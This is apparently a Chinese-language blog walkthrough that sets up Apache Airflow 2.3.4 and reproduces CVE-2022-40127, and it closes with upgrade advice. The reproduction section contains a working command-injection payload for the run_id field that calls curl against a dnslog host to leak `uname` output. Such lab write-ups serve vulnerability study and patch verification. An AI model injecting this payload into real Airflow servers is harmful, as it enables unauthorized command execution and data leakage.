简单的Apache Airflow(CVE-2022-40127)漏洞复现

漏洞描述:

Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags,则可构造恶意请求借助run_id 执行任意命令。

准备环境:

Ubuntu、apache airflow2.3.4、python3.8、mysql5.7.39

一、环境搭建:

1、指定air-flow主目录:

export AIRFLOW_HOME=~/airflow

2、air-flow安装

pip3 install apache-airflow==2.3.4

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第1张图片

3、初始化

执行airflow进行初始化:
简单的Apache Airflow(CVE-2022-40127)漏洞复现_第2张图片

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

3、配置文件修改:

(1)初始化后,会在airflow主目录生成airflow.cfg文件:

图片.png

编辑两个地方:

(A)

#executor = SequentialExecutor 修改为:
executor = LocalExecutor

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第3张图片

(B)

#sql_alchemy_conn = sqlite:root/airflow/airflow.db 修改为:
sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第4张图片

(2)修改mysql配置文件my.cnf,在[mysqld]中添加:

explicit_defaults_for_timestamp = true

我直接用的宝塔,在配置里面已经存在:
简单的Apache Airflow(CVE-2022-40127)漏洞复现_第5张图片

修改后重启mysql

(3)添加一个名为airflowdb的数据库:

图片.png

<注意:数据库引擎建议为innodb,否则会报错“Specified key was too long; max key length is 1000 bytes”>

4、数据库初始化

在~/airflow主目录执行:

airflow db init

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第6张图片

<注:该处若未安装mysqlclient,将会报错,

ModuleNotFoundError: No module named 'MySQLdb'

因为初始化会写入mysql

mysqlclinet安装:

python3 -m pip install mysqlclien

执行:

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第7张图片

正常执行完毕后,会有“Initialization done”字样:

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第8张图片

5、配置

创建登录用户:

airflow users create --username admin --firstname admin --lastname admin --role Admin --email [email protected]

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第9张图片

最后將提示设置密码:
简单的Apache Airflow(CVE-2022-40127)漏洞复现_第10张图片

6、启动

(1)server

airflow webserver -p 11888

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第11张图片

(2)scheduler:

airflow scheduler

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第12张图片

界面:
简单的Apache Airflow(CVE-2022-40127)漏洞复现_第13张图片

二、复现:

登录airflow:

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第14张图片

设置run_id

在“example_bash_operator”行,点击action项的三角符号,点击“Trigger DAG w/ config”:

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第15张图片

进入配置,

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第16张图片

在“run id”处输入payload:

{"lab":"\";curl `uname`.****.dnslog.pw;\""}

简单的Apache Airflow(CVE-2022-40127)漏洞复现_第17张图片

dnslog处查看结果:

图片.png

漏洞修复:

官方已发布版本 2.4.3,可升级Apache Airflow版本到2.4.0或以上,或者停用默认 Dags。

你可能感兴趣的:(web安全,安全,网络安全,渗透测试,信息安全)